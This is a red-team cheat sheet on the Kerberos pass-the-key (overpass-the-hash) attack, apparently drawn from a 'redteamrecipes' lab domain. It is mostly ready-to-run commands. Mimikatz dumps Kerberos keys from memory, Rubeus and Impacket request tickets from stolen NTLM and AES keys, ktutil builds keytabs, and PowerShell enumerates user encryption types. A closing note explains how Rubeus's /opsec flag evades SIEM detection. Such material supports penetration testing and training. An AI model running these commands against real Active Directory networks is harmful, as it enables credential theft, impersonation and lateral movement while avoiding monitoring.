Pass The Key

Resources

• Technology
  • Sacrificial Session : https://web.archive.org/web/20240714192131/https://unshade.tech/sacrificial-session
  • Keytab : https://www.haizly.com/process/security/how-to-use-a-keytab-file-for-authentication
• Offensive
  • By HackingArticles : https://www.hackingarticles.in/lateral-movement-over-pass-the-hash/
  • By juggernaut-sec : https://juggernaut-sec.com/over-pass-the-hash-attacks/
  • By corgi-corp : https://web.archive.org/web/20260125092703/https://www.corgi-corp.com/post/pass-the-hash-vs-overpass-the-hash/
• Defensive
  • By eventpeeker : https://www.eventpeeker.com/detections/overpass-the-hash

Cheat Sheet

• Swisskyrepo : https://swisskyrepo.github.io/InternalAllTheThings/active-directory/hash-over-pass-the-hash/
• thehackerecipes : https://www.thehacker.recipes/ad/movement/kerberos/ptk
• HackTricks : https://hacktricks.wiki/en/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.html

Commands

• Enum
  • Dumping keys
    • Mimikatz

      mimikatz # privilege::debug
      mimikatz # sekurlsa::ekeys

    • Calculating Keys
      • Hash_Calculator

        python3 Hash_Calculator.py -u Tsoprano -p Password123#t -d redteamrecipes.com

      • Rubues

        .\Rubeus.exe hash /password:Password123#t /user:Tsoprano /domain:redteamrecipes.com

  • Users Hashes Types
    • ADSI

      $searcher = [adsisearcher]"(&(objectCategory=person)(objectClass=user))"
      $searcher.PropertiesToLoad.AddRange(@("samaccountname", "msds-supportedencryptiontypes", "serviceprincipalname"))
      $searcher.PageSize = 1000 # Prevents the query from dropping results if the domain has >1000 users
       
      $searcher.FindAll() | ForEach-Object {
      	$sam = $_.Properties["samaccountname"][0]
      	$encTypeVal = $_.Properties["msds-supportedencryptiontypes"][0]
      	
      	# Evaluate SPN
      	$hasSpn = if ($_.Properties["serviceprincipalname"].Count -gt 0) { "Yes" } else { "No" }
      	
      	# Evaluate Encryption Types
      	$encString = "Default (Typically AES128/AES256)"
      	if ($null -ne $encTypeVal -and $encTypeVal -ne 0) {
      		$types = @()
      		if ($encTypeVal -band 4)  { $types += "RC4_HMAC_MD5" }
      		if ($encTypeVal -band 8)  { $types += "AES128_HMAC_SHA1" }
      		if ($encTypeVal -band 16) { $types += "AES256_HMAC_SHA1" }
      		if ($types.Count -gt 0) { $encString = $types -join ", " }
      	}
       
      	[PSCustomObject]@{
      		SamAccountName  = $sam
      		EncryptionTypes = $encString
      		HasSPN          = $hasSpn
      	}
      } | Format-Table -AutoSize

    • ADModule

      Import-Module ActiveDirectory; Get-ADUser -Filter * -Properties SamAccountName, msDS-SupportedEncryptionTypes, ServicePrincipalName | Select-Object SamAccountName, @{Name="EncryptionTypes";Expression={if ($null -eq $_.'msDS-SupportedEncryptionTypes' -or $_.'msDS-SupportedEncryptionTypes' -eq 0) {"Default (Typically AES128/AES256)"} else { $types = @(); if ($_.'msDS-SupportedEncryptionTypes' -band 4) {$types += "RC4_HMAC_MD5"} if ($_.'msDS-SupportedEncryptionTypes' -band 8) {$types += "AES128_HMAC_SHA1"} if ($_.'msDS-SupportedEncryptionTypes' -band 16) {$types += "AES256_HMAC_SHA1"} $types -join ", "}}}, @{Name="HasSPN";Expression={if ($_.ServicePrincipalName) {"Yes"} else {"No"}}} | Format-Table -AutoSize => users with hash type

• PTK
  • Mimikatz

    mimikatz # sekurlsa::pth /user:tsoprano /domain:redteamrecipes.com /ntlm:01ee11c4a4fc6293f3b12ce84632ee5e
    mimikatz # sekurlsa::pth /user:tsoprano /domain:redteamrecipes.com /aes256:13cbc5648bc6b9cffa2f8be14198a5eefbc1bae9e993053c271d51980658cd49
    mimikatz # sekurlsa::pth /user:Tsoprano /domain:redteamrecipes.com /aes128:222fb93b255e4b4bb05d24faaf6c00af
     
    mimikatz # sekurlsa::pth /user:tsoprano /domain:redteamrecipes.com /ntlm:01ee11c4a4fc6293f3b12ce84632ee5e /aes256:13cbc5648bc6b9cffa2f8be14198a5eefbc1bae9e993053c271d51980658cd49 # OPSEC

  • Rubues

    .\Rubeus.exe asktgt /user:tsoprano /domain:redteamrecipes.com /rc4:01ee11c4a4fc6293f3b12ce84632ee5e /ptt [/opsec]
     
    .\Rubeus.exe asktgt /user:tsoprano /domain:redteamrecipes.com /rc4:01ee11c4a4fc6293f3b12ce84632ee5e /createnetonly:C:\Windows\System32\cmd.exe # (requires elevation)

  • Impacket
    • GetTGT

      ntpdate -u 192.168.99.30 && impacket-getTGT 'redteamrecipes.com/fmoheb' -aesKey ac5fce06743d8b61c52ccd2b54629d98b2067a0f313686b415d1e85ce7af4cb2 -dc-ip 192.168.99.30
       
      export KRB5CCNAME=fmoheb.ccache

  • ktutil

    ktutil                                                 
    	ktutil:  addent -key -p fmoheb@REDTEAMRECIPES.COM -k 1 -e arcfour-hmac
    	Key for fmoheb@REDTEAMRECIPES.COM (hex): 70acaa6bad1c4d34405f748f3fa4a9d1
    	ktutil:  wkt fmoheb.keytab
    	ktutil:  quit
     
    kinit -k -t fmoheb.keytab fmoheb@REDTEAMRECIPES.COM
     
    klist
     
    export KRB5CCNAME=/tmp/krb5cc_0
     
    impacket-smbclient 'redteamrecipes.com/fmoheb@192.168.99.30' -k -no-pass

Notes

General Notes

• Kerberos authentication NTLM (RC4), AES128, AES256 key is used to encrypt the timestamp.
• The /opsec flag in Rubeus modifies the kdc-options field in the AS-REQ (and TGS-REQ) to unset the FORWARDABLE and often the RENEWABLE flags. This is intended to make the resulting Kerberos ticket look like a typical user ticket that does not request delegation, thereby evading SIEM rules that alert on FORWARDABLE tickets for non‑delegation accounts.